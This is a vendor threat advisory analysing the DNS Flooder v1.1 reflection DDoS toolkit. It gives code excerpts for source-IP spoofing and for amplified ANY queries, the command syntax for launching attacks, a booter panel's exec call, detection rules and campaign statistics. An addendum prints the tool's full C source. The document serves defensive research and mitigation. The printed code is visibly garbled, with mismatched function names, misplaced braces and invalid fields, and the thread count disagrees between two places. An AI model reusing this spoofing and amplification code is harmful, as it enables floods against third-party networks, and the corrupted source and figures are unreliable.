1.1 OVERVIEW / PLXSert has observed the release and rapid deployment of a new DNS reflection toolkit for distributed denial of service (DDoS) attacks. The name of this DDoS toolkit is DNS Flooder v1.1. It was first leaked on popular hackforums and has been used against Prolexic customers. This toolkit contains a new, popular method of crafting large DNS resource records.

This new method allows malicious actors to amplify responses by a factor of 50 or more per request. Malicious actors customize their own DNS resource records, adding words and comments that may explain their particular attack campaign. This method expedites the availability of the DNS botnet for use and profit in the DDoS-for-hire market.

This threat advisory outlines a series of indicators, including a full analysis of the source code, toolkit functions, malicious payloads and recommended mitigation techniques for the DNS Flooder v1.1 DDoS toolkit.

1.2 INDICATORS OF DNS FLOODER / This tactic generates resource records that contain large responses (more than 4,000 bytes) when queried with an ANY (255) request from the spoofed IP address. The responses to these ANY requests result in amplified attack payloads. The technique basically crafts requests with record type ANY, which then will elicit responses that are larger in size and directed at the targeted victims.

These elicited responses might look similar to the known isc.org attack, which uses DNSsec parameters to amplify responses, but they are not.

This technique still utilizes reflectors, which allows the attacker to both spoof the initial requests and amplify the response. By using reflectors, the attacker is able to multiply the attack traffic to the target and hide the true source of requests.
1.3 SOURCE CODE ANALYSIS / PLXSert performed an analysis of the source code of the DNS Flooder v1.1 tool. A set of key functionalities of this tool are outlined in order to understand its critical features and capabilities.

1.3A SPOOFING WITH THE IP HEADERS / The DNS Flooder toolkit attempts to spoof the source IP address of the ANY request for the DNS reflection attack. This works by manually constructing the IP header structure. The line `iph->saddr = inet_addr("192.168.5.100");` supplies the IP header with a fixed source address of 192.168.5.100, which will reach the DNS server as being the source of the request. This technique is typically used to protect the attacker from being traced.

```c
// Make the packet
struct iphdr *iph = (struct iphdr *) &strPacket;
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + 30;
iph->id = htonl(54321);
iph->frag_off = 0;
iph->ttl = MAXTTL;
iph->protocol = IPPROTO_UDP;
iph->check = 0;
iph->saddr = inet_addr("192.168.5.100");
```

Figure 2: The IP spoofing functions in the DNS Flooder v1.1 code

1.3b CRAFTING THE DNS REQUEST / This portion of code will manually craft a DNS Request header. It is observed that the toolkit uses DNS protocol specifications (RFC 1035) within its parameters. The id field is randomly generated using the author’s own random number generator function called rand_cmwc(). The qr field is set to 0; this specifies that it will be a request.

The rd field is set to 1; this specifies that recursion is desired. Another important field to note is the add_count field. This add_count field is set to 1 to specify there will be one Additional Records section in the DNS Request packet.

```c
struct DNS_HEADER *dns = (struct DNS_HEADER *) &strPacket[ifPayloadSize];
dns->id = htons(rand_cmwc());
dns->qr = 0; //This is a query
dns->opcode = 0; //This is a standard query
dns->aa = 0; //Not Authoritative
dns->tc = 0; //This message is not truncated
dns->rd = 1; //Recursion Desired
dns->ra = 0; //Recursion not available! hey we dont have it (lol)
dns->z = 0;
dns->qd = 0;
dns->qrd = 0;
dns->rcode = 0;
dns->q_count = htons(1); //we have only 1 question
dns->ans_count = 0;
dns->auth_count = 0;
dns->add_count = htons(1); //One additional record
```

Figure 3: The RFC 1035 fields implemented in DNS Flooder
Once the DNS header is compiled, the query request is crafted. First, it grabs the domain name contained in the linked list structure extracted from a configurable text file.

```c
// get the domain name and fix formatting
strncpy(strDomain, list_node->domain);  
ChangeToDnsNameFormat(qname, strDomain);
```

**Figure 4: DNS domain name formatting**

Then the toolkit populates the qType and qClass of the DNS Request fields. The qType is given the value of 255 or 0xFF, which translates to an ANY request. The qClass is given the value 1, which represents Internet addresses per RFC 1035.

```c
struct QUESTION *qinfo = (struct QUESTION *) &strPacket[iPayloadSize + iAdditionalSize];  
quinfo->qtype = htons(255); // type of the query , A , MX , CNAME , NS etc  
quinfo->qclass = htons(1); // Internet Addresses
```

**Figure 5: DNS question payload construction**

Once that information has been supplied, the IP and UDP header information is completed by updating the size and checksum fields. The toolkit author commented the code for clarity.

```c
// update size of the udp packet
udph->len= htons((iPayloadSize + iAdditionalSize) - sizeof(struct iphdr));  
// update the size of the entire packet in the IP header
iph->tot_len = iPayloadSize + iAdditionalSize;  
// randomize the source port each time
udph->source = htons(rand_cmwc() & 0xFFFF);  
// calculate the checksum
iph->check = csum((unsigned short *) strPacket, iph->tot_len >> 1); 
```

**Figure 6: Packet header configuration**

Another important feature of DNS Flooder is its ability to send a request that will ensure the largest possible response from the server. It does this by including an Additional Record section to enforce EDNS (Extended DNS) and set the size of the UDP payload response to 9,000 bytes (0x2328). This allows the DNS server to send a large response to the victim without truncation or retransmissions. The code for this function is shown in Figure 7.

```c
strPacket[iPayloadSize + iAdditionalSize] = 0x00;  
strPacket[iPayloadSize + iAdditionalSize + 1] = 0x00;  
strPacket[iPayloadSize + iAdditionalSize + 2] = 0x29;  
strPacket[iPayloadSize + iAdditionalSize + 3] = 0x23;  
strPacket[iPayloadSize + iAdditionalSize + 4] = 0x28;  
strPacket[iPayloadSize + iAdditionalSize + 5] = 0x00;  
strPacket[iPayloadSize + iAdditionalSize + 6] = 0x00;  
strPacket[iPayloadSize + iAdditionalSize + 7] = 0x00;  
strPacket[iPayloadSize + iAdditionalSize + 8] = 0x00;  
strPacket[iPayloadSize + iAdditionalSize + 9] = 0x00;  
strPacket[iPayloadSize + iAdditionalSize + 10] = 0x00;  
strPacket[iPayloadSize + iAdditionalSize + 11] = 0x00;  
```

**Figure 7: Additional Records creation**
Once this step is completed, the toolkit will loop the DNS request 15 times, sending it in a thread function. This occurs for each DNS server that is defined in the configurable text file and is passed as an argument to the toolkit.

```c
//send
for(i = 0; i < PACKETS_PER_RESOLVER; i++)
{
    //mgleop();
    sendto(s, strPacket, iph->tot_len, 0, (struct sockaddr *) &list_node->data,
    sizeof(list_node->data));
}
```

Figure 8: Payload distribution over the network

The source code for DNS Flooder v1.1 reveals some common techniques for IP spoofing and utilizing raw sockets in order to craft the UDP payload by hand. The author carefully crafts a DNS request that uses nuances of the DNS protocol to amplify response packets with full anonymity. It is also worth noting that, because this tool utilizes raw sockets, it can only be run with root privileges. Furthermore, it’s evident the source code was not designed to be compiled under BSD-flavored Linux environments (including Mac OSX’s Darwin). It will fail to compile in these environments due to incompatibilities in the definitions of the IP and transport protocol fields in the source header files.

1.3c TOOLKIT EXECUTION: QUERY AND PAYLOAD / Once the toolkit has been compiled, the malicious actor will execute it. By utilizing the appropriate command line arguments, the attacker can begin producing spoofed DNS queries to target victims. A sample query is shown in Figure 9.

Figure 9: Sample query generated by the DNS Flooder toolkit
Figure 10 shows the execution of the payload. Notice that the reply from the victim servers exceeds 4,000 bytes and creates subsequent fragmentation. This is a result of DNS servers amplifying the query response.

Payload was split into 3 fragments
192.168.20.16 = DNS server used to amplify query response
192.168.20.50 = Target

Code snippet fragment 1:
19:05:53.826020 IP (tos 0x0, ttl 64, id 47098, offset 0, flags [+] proto UDP (17), length 1560)
   192.168.20.16.53 > 192.168.20.50.16034: 283841 251/0/1 x.x.x.x.com TXT
   "jvvcxjoijcxoiwjojcxwjojwjdjdd9jdf9w5w9j9", x.x.x.x.com A 192.168.50.241, x.x.x.x.com A
   192.168.50.242, x.x.x.x.com A 192.168.50.243, x.x.x.x.com A 192.168.50.244, x.x.x.x.com A
   192.168.50.244, x.x.x.x.com A 192.168.50.245, x.x.x.x.com A 192.168.50.247, x.x.x.x.com A
   192.168.50.248, x.x.x.x.com A 192.168.20.10, x.x.x.x.com A
   192.168.50.1, x.x.x.x.com A 192.168.50.1, x.x.x.x.com A 192.168.50.3, x.x.x.x.com A
   192.168.50.4, x.x.x.x.com A 192.168.50.5, x.x.x.x.com A 192.168.50.6, x.x.x.x.com A
   192.168.50.7, x.x.x.x.com A 192.168.50.8, x.x.x.x.com A 192.168.50.9, x.x.x.x.com A
   192.168.50.10, x.x.x.x.com A 192.168.50.11, x.x.x.x.com A 192.168.50.12, x.x.x.x.com A
   192.168.50.13, x.x.x.x.com A 192.168.50.14, x.x.x.x.com A 192.168.50.15, x.x.x.x.com A
   192.168.50.16, x.x.x.x.com A 1192.168.50.45, x.x.x.x.com A 192.168.50.46, x.x.x.x.com A
   192.168.50.47, x.x.x.x.com A 192.168.50.48, x.x.x.x.com A 192.168.50.49, x.x.x.x.com A
   192.168.50.70, x.x.x.x.com A 192.168.50.71, x.x.x.x.com A 192.168.50.72, x.x.x.x.com A
   192.168.50.73, x.x.x.x.com A 192.168.50.74, x.x.x.x.com A 192.168.50.75, x.x.x.x.com A
   192.168.50.76, x.x.x.x.com A 192.168.50.77[domain]
E.... .8........Z.5>....Wu........x.x.x.x.com............
   ;..."jvvcxjoijcxoiwjojcxwjojwjdjdd9jdf9w5w9j9"

Code snippet fragment 2:
19:05:53.827139 IP (tos 0x0, ttl 64, id 47098, offset 1480, flags [+] proto UDP (17), length 1560)
   192.168.20.16 > 192.168.20.50: ip-proto-17
E.... .8........2........ :....2N........ :....2O........ :....2P........

Code snippet fragment 3:
19:05:53.827148 IP (tos 0x0, ttl 64, id 47098, offset 2960, flags [none] proto UDP (17), length 1199)
   192.168.20.16 > 192.168.20.50: ip-proto-17
E....r0...g........2:....2........ :....2........ :....2........
Running the toolkit requires a few command line arguments to be passed. The command line format and options are explained below.

```
sudo ./dnsflood [target_ip] [53] [reflectlist.txt] [1] [1]
```

- **target_ip**: The IP address of the intended target of the reflection attack.
- **53**: The port used in the attack. This is hardcoded to port 53 in the source code.
- **reflectlist.txt**: The list of DNS servers which will receive the requests. The crafted request includes the spoofed IP address of the target. The DNS servers will reflect the responses to the target.
- **1 1**: The first number defines the quantity of threads. The second number defines the duration of the toolkit execution (in seconds).

As a result, this command will execute DNS ANY queries against a target IP address using the designated reflection list (the DNS servers set up by the malicious actors), utilizing a specified number of threads (1) and duration in seconds (1). This will produce an amplified reflected response at a ratio of 1:50, intended to consume target resources.

### 1.4 MALICIOUS ACTOR ATTRIBUTION

Figure 11 shows a snippet of the API code pulled from a server that was being used in a booter infrastructure. Here the toolkit has been renamed from DNS Flooder v1.1 to 50x, likely because of its ability to produce 50x amplification.

```bash
//Layer4 Attacks
if (($attacktype == "UDP") || ($attacktype == "udp"))
{
    sh: exec("nohup sudo ./50x $ip $port DNS.txt 25 $time";
    //print("$outputln");
    //print("Attack sent to $ip:$port for $time sec using $attacktype!");
}
```

Dynamically executing 50x reveals that it is indeed DNS Flooder v1.1.
1.5 LAB STUDY / DNS Flooder v1.1 was analyzed in PLXsert’s lab environment to determine its characteristics. A few technical features were observed.

First, when run with one thread against multiple destinations:

![Figure 13: DNS Flooder v1.1 attack script with the threads argument set to 1. The query IDs are all identical.](image)

When run with multiple threads against multiple destinations:

![Figure 14: DNS Flooder v1.1 attack script with threads argument set to 10. Ten different query IDs were observed.](image)
The findings were interesting. After analyzing the source code and the packet data, it can be observed that each thread has a static query ID associated with it. This allows us to analyze the query IDs from the reflected response traffic (primary target traffic) and determine how many unique threads were used in the attack itself.

Executing the following tshark statement against a pcap from the primary target reveals the number of threads launched by the malicious actor.

```
for i in `find ./ | grep '.pcap$'`; do tshark -nnr $i -R 'udp.srcport == 53' -o column.format:="DNSID","%Cus:dns.id" ;done | sort -n | uniq -c
```

```
for i in `find ./ | grep 'dnsreflect-4155_byte_response.pcap$'`; do tshark -nnr $i -2 -R 'udp.srcport == 53' -o column.format:="DNSID","%Cus:dns.id" ;done | sort -n | uniq -c
```

| 4396 0x6ee0 |
| Where 0x6ee0 is the unique ID and 4396 is the number of instances that match the ID. |

Figure 15: The tshark grep statement identified 4,936 unique threads

1.6 RECOMMENDED MITIGATION / DNS Flooder snort rule:

```
alert udp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS flooder 1.1 abuse"; sid:20130115; rev:1; \ content: ":00 ff 00 01 00 00 29 23 28;"; offset: 12; )
```

Target mitigation using ACL entries:

```
deny udp any eq 53 host x.x.x.x gt 1023
  deny udp any host x.x.x.x fragments
```
1.7 OBSERVED CAMPAIGNS / The DNS Flooder v1.1 toolkit has been observed being used in multiple campaigns during Q3 and Q4 2013. This section will discuss two examples of DNS Flooder v1.1 DDoS attacks against Akamai’s customers.

1.7A ATTACK A / One attack based on the DNS Flooder v1.1 toolkit lasted approximately four hours. The attack statistics from our scrubbing centers are listed below.

<table>
<thead>
<tr>
<th></th>
<th>San Jose</th>
<th>London</th>
<th>Hong Kong</th>
<th>Washington</th>
</tr>
</thead>
<tbody>
<tr>
<td>Peak bits per second (bps)</td>
<td>5.00 Gbps</td>
<td>80.00 Gbps</td>
<td>5.00 Gbps</td>
<td>20.00 Gbps</td>
</tr>
<tr>
<td>Peak packets per second (pps)</td>
<td>400.00 Kpps</td>
<td>7.50 Mpps</td>
<td>400.00 Kpps</td>
<td>2.00 Mpps</td>
</tr>
</tbody>
</table>

Figure 16: Peak values compiled by Prolexic scrubbing center for the first campaign

Figure 17: Attack signature used in the DNS Flooder campaigns
One of the steps taken by malicious actors prior to the use of this tool was the setup of DNS servers that will respond and amplify the attackers’ DNS queries. This step ensures the responses will be directed to the intended target. All attack traffic was successfully mitigated by Akamai.

1.7b ATTACK B / The second example was identified by its use of resource records that contained large responses of more than 4,000 bytes when queried with an ANY (255) request.

<table>
<thead>
<tr>
<th></th>
<th>San Jose</th>
<th>London</th>
<th>Hong Kong</th>
<th>Washington</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Peak bits per second (bps)</strong></td>
<td>453.17 Mbps</td>
<td>2.19 Gbps</td>
<td>1.09 Gbps</td>
<td>1.26 Gbps</td>
</tr>
<tr>
<td><strong>Peak packets per second (pps)</strong></td>
<td>43.13 Kpps</td>
<td>208.86 Kpps</td>
<td>106.03 Kpps</td>
<td>118.33 Kpps</td>
</tr>
</tbody>
</table>

Figure 18: Peak values compiled by the Prolexic scrubbing centers for the second campaign

This DNS Flooder toolkit can produce significant bandwidth power with only a few servers. For example, 1 Gbps of attack bandwidth could yield 50 Gbps of reflected attack traffic. In both campaigns mentioned in this document, false DNS resource records were used to amplify responses. The toolkit hides its IP address by spoofing the DNS request as originating from the target. Crafting the DNS resource record requires root or system level access to the botnet servers and complicates pinpointing the origin of the attack. This allows malicious actors to use their own attack resources for performing DNS reflection floods and lends itself to be a forceful tool in DDoS-for-hire scenarios.

PLXsert will continue analyzing this DDoS toolkit to include possible upcoming variations, and issue new threat advisories should it be warranted.
1.8 ADDENDUM: FULL SOURCE CODE OF DNS FLOODER / This source code is available at https://github.com/plxsertr/dnsreflect for research purposes.

```
C code

#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>

#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9
#define PACKETS_PER_RESOLVER 15

static uint32_t Q[4096], c = 362436;

struct list
{
    struct sockaddr_in data;
    char domain[512];
    int line;
    struct list *next;
    struct list *prev;
};
struct list *head;

struct thread_data{
    int thread_id;
    struct list *list_node;
    struct sockaddr_in sin;
    int port;
};

struct DNS_HEADER
{
    unsigned short id; // identification number
    unsigned char rd :1; // recursion desired
    unsigned char tc :1; // truncated message
    unsigned char aa :1; // authoritative answer
    unsigned char opcode :4; // purpose of message
    unsigned char qr :1; // query/response flag
    unsigned charrcode :4; // response code
    unsigned char cd :1; // checking disabled
    unsigned char ad :1; // authenticated data
    unsigned char z :1; // its z! reserved
    unsigned char ra :1; // recursion available
    unsigned short q_count; // number of question entries
```
unsigned short ans_count; // number of answer entries
unsigned short auth_count; // number of authority entries
unsigned short add_count; // number of resource entries
}

//Constant sized fields of query structure
struct QUESTION
{
  unsigned short qtype;
  unsigned short qclass;
};

//Constant sized fields of the resource record structure
struct QUERY
{
  unsigned char *name;
  struct QUESTION *ques;
};

void ChangelogDnsNameFormat(unsigned char *dns,unsigned char *host)
{
  int lock = 0, i;
  strcat((char*)host, ".");

  for(i = 0 ; i < strlen((char*)host) ; i++)
  {
    if(host[i]=='.')
    {
      *dns++ = i-lock;
      for(;lock<i;lock++)
      {
        *dns++ = host[lock];
        lock++; //or lock+=i+1;
      }
      *dns++ = '\0';
    }
  }
}

void Init_rand(uint32_t x)
{
  int i;

  Q[0] = x;
  Q[1] = x + PHI;
  Q[2] = x + PHI + PHI;

  for (i = 3; i < 4096; i++)
    Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
}

uint32_t Rand_cmwc(void)
{
  uint64_t t, a = 18782LL;
  static uint32_t i = 4095;
  uint32_t x, r = 0xffe;
  i = (i + 1) & 4095;
  t = a * Q[i] + c;
c = (t >> 32);
x = t + c;
if (x < c) {
    x++;
c++;
}
return (Q[i] = r - x);
}

/* function for header checksums */
unsigned short csunm (unsigned short *buf, int nwords)
{
    unsigned long sum;
    for (sum = 0; nwords > 0; nwords--)
        sum += *buf++;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (unsigned short)(-sum);
}

void setup_udp_header(struct udphdr *udph)
{
    ...
}

void *flood(void *parl)
{
    struct thread_data *td = (struct thread_data *)parl;

    char strPacket[MAX_PACKET_SIZE];
    int iPayloadSize = 0;
    struct sockaddr_in sin = td->sin;
    struct list *list_node = td->list_node;
    int iPort = td->port;

    int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if(s < 0)
    {
        printf(stderr, "Could not open raw socket. You need to be root!
");
        exit(-1);
    }

    //init random
    init_random(time(NULL));

    // Clear the data
    memset(strPacket, 0, MAX_PACKET_SIZE);

    // Make the packet
    struct iphdr *iph = (struct iphdr *) &strPacket;
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof(struct iphdr) + 38;
    iph->id = htonl(54321);
    iph->frag_off = 0;
    iph->ttl = MAXTTL;
iph->protocol = IPPROTO_UDP;
iph->check = 0;
iph->saddr = inet_addr("192.168.5.100");

iPayloadSize += sizeof(struct iphdr);

struct udphdr *udph = (struct udphdr *) &strPacket[iPayloadSize];
udph->source = htons(iPort);
udph->dest = htons(53);
udph->check = 0;

iPayloadSize += sizeof(struct udphdr);

struct DNS_HEADER *dns = (struct DNS_HEADER *) &strPacket[iPayloadSize];
dns->id = (unsigned short) htons(rand() & 0xFFFF);
dns->qr = 0; // This is a query
dns->opcode = 0; // This is a standard query
dns->aa = 0; // Not Authoritative
dns->rcode = 0; // This message is not truncated
dns->rd = 1; // Recursion Desired
dns->ra = 0; // Recursion not available! hey we dont have it (lol)
dns->z = 0;
dns->ad = 0;
dns->cd = 0;
dns->opcode = 0;
dns->q_count = htons(1); // we have only 1 question
dns->ans_count = 0;
dns->auth_count = 0;
dns->add_count = htons(1);

iPayloadSize += sizeof(struct DNS_HEADER);

sin.sin_port = udph->source;
iph->saddr = sin.sin_addr.s_addr;
iph->daddr = list_node->data.sin_addr.s_addr;
iph->check = csum((unsigned short *) strPacket, iph->tot_len >> 1);

char strDomain[512];
int i;
int j = 0;
int iAdditionalSize = 0;
while(1)
{
    if(j>=2){
        usleep(100);
        j=0;
    }
}

//set the next node
list_node = list_node->next;

//Clear the old domain and question
memset(&strPacket[iPayloadSize + iAdditionalSize], 0, iAdditionalSize+256);

//add the chosen domain and question
iAdditionalSize = 0;

unsigned char *qname = (unsigned char*) &strPacket[iPayloadSize + iAdditionalSize];
strcpy(strDomain, list_node->domain);
ChangeToDNSNameFormat(qname, strDomain);
//printf("\%s \%s\n", list_node->domain, list_node->line);

iAdditionalSize += strlen(qname) + 1;

struct QUESTION *qinfo = (struct QUESTION *) &strPacket[iPayloadSize + iAdditionalSize];
qinfo->qtype = htons(255); //type of the query , A , MX , CNAME , NS etc
qinfo->qclass = htons(1);
iAdditionalSize += sizeof(struct QUESTION);

strPacket[iPayloadSize + iAdditionalSize] = 0x00;
strPacket[iPayloadSize + iAdditionalSize + 1] = 0x00;
strPacket[iPayloadSize + iAdditionalSize + 2] = 0x29;
strPacket[iPayloadSize + iAdditionalSize + 3] = 0x23;
strPacket[iPayloadSize + iAdditionalSize + 4] = 0x28;
strPacket[iPayloadSize + iAdditionalSize + 5] = 0x00;
strPacket[iPayloadSize + iAdditionalSize + 6] = 0x00;
strPacket[iPayloadSize + iAdditionalSize + 7] = 0x00;
strPacket[iPayloadSize + iAdditionalSize + 8] = 0x00;
strPacket[iPayloadSize + iAdditionalSize + 9] = 0x00;
strPacket[iPayloadSize + iAdditionalSize + 10] = 0x00;
strPacket[iPayloadSize + iAdditionalSize + 11] = 0x00;
iAdditionalSize += 11;

//set new node data
iph->addr = list_node->data.sin_addr.s_addr;

udph->len= htons((iPayloadSize + iAdditionalSize) - sizeof(struct iphdr));
iph->tot_len = iPayloadSize + iAdditionalSize;
udph->source = htons(rand() & 0xFFFF);
iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);

//send
for(i = 0; i < PACKETS_PER_RESOLVER; i++)
{
    usleep(1);
    sendto(s, strPacket, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
}
j++;
}

void ParseResolverLine(char *strLine, int iLine)
{
    char caIP[32] = "";
    char caDNS[512] = "";

    int i;
    char buffer[512] = "";

    int moved = 0;

for (i = 0; i < strlen(strLine); i++)
{
    if (strLine[i] == ' ' || strLine[i] == '\n' || strLine[i] == '\t')
    {
        moved++;
        continue;
    }

    if (moved == 0)
    {
        caIP[strlen(caIP)] = (char) strLine[i];
    }
    else if (moved == 1)
    {
        caDNS[strlen(caDNS)] = (char) strLine[i];
    }
}
//printf("Found resolver %s, domain %s!\n", caIP, caDNS);

if (head == NULL)
{
    head = (struct list *)malloc(sizeof(struct list));
    bzero(&head->data, sizeof(head->data));
    head->data.sin_addr.s_addr = inet_addr(caIP);
    head->data.sin_port = htons(53);
    strcpy(head->domain, caDNS);
    head->line = iLine;
    head->next = head;
    head->prev = head;
}
else
{
    struct list *new_node = (struct list *)malloc(sizeof(struct list));
    memset(new_node, 0x00, sizeof(struct list));
    new_node->data.sin_addr.s_addr = inet_addr(caIP);
    new_node->data.sin_port = htons(53);
    strcpy(new_node->domain, caDNS);
    new_node->prev = head;
    head->line = iLine;
    new_node->next = head->next;
    head->next = new_node;
}

int main(int argc, char *argv[])
{
    if (argc < 4)
    {
        fprintf(stderr, "Invalid parameters!\n");
        fprintf(stderr, "DNS Flooder v1.1\nUsage: %s <target IP/hostname> <port to hit> <reflection file [format: IP DOMAIN]> <number threads to use> <time (optional)>\n", argv[0]);
        fprintf(stderr, "Reflection File Format:
<IP>[space/tab]<DOMAIN>[space/tab]<ignored>[space/tab]<ignored>...\n");
    }
exit(-1);
}

// printf("1");
head = NULL;

char *strLine = (char *) malloc(256);
strLine = memset(strLine, 0x00, 256);

char strIP[32] = "";
char strDomain[256] = "";

int iLine = 0; // 0 = ip, 1 = domain.

FILE *list_fd = fopen(argv[3], "r");
while(fgets(strLine, 256, list_fd) != NULL)
{
    ParseResolverLine(strLine, iLine);
    iLine++;
}

//printf("2");

int i = 0;
int num_threads = atoi(argv[4]);

struct list *current = head->next;
pthread_t thread[num_threads];
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(0);
sin.sin_addr.s_addr = inet_addr(argv[1]);
struct thread_data td[num_threads];

int iPort = atoi(argv[2]);

//printf("3");
//printf("Target: %s@%d\n", argv[1], iPort);

for(i = 0; i < num_threads; i++)
{
    current = current->next;
    td[i].thread_id = i;
    td[i].sin = sin;
    td[i].list_node = current;
    td[i].port = iPort;
    pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
}

//printf("4");
// fprintf(stdout, "Starting Flood...
");

if(argc > 4)
{
    sleep(atoi(argv[5]));
}
else
{
    while(1)
    {
        sleep(1);
    }
}

//printf("5");
return 0;
}
The Prolexic Security Engineering and Research Team (PLXsert) monitors malicious cyber threats globally and analyzes these attacks using proprietary techniques and equipment. Through research, digital forensics and post-event analysis, PLXsert is able to build a global view of security threats, vulnerabilities and trends, which is shared with customers and the security community. By identifying the sources and associated attributes of individual attacks, along with best practices to identify and mitigate security threats and vulnerabilities, PLXsert helps organizations make more informed, proactive decisions.

Akamai® is a leading provider of cloud services for delivering, optimizing and securing online content and business applications. At the core of the company’s solutions is the Akamai Intelligent Platform™ providing extensive reach, coupled with unmatched reliability, security, visibility and expertise. Akamai removes the complexities of connecting the increasingly mobile world, supporting 24/7 consumer demand, and enabling enterprises to securely leverage the cloud. To learn more about how Akamai is accelerating the pace of innovation in a hyperconnected world, please visit www.akamai.com or blogs.akamai.com, and follow @Akamai on Twitter.

Akamai is headquartered in Cambridge, Massachusetts in the United States with operations in more than 40 offices around the world. Our services and renowned customer care enable businesses to provide an unparalleled Internet experience for their customers worldwide. Addresses, phone numbers and contact information for all locations are listed on www.akamai.com/locations

©2014 Akamai Technologies, Inc. All Rights Reserved. Reproduction in whole or in part in any form or medium without express written permission is prohibited. Akamai and the Akamai wave logo are registered trademarks. Other trademarks contained herein are the property of their respective owners. Akamai believes that the information in this publication is accurate as of its publication date; such information is subject to change without notice. Published 02/14.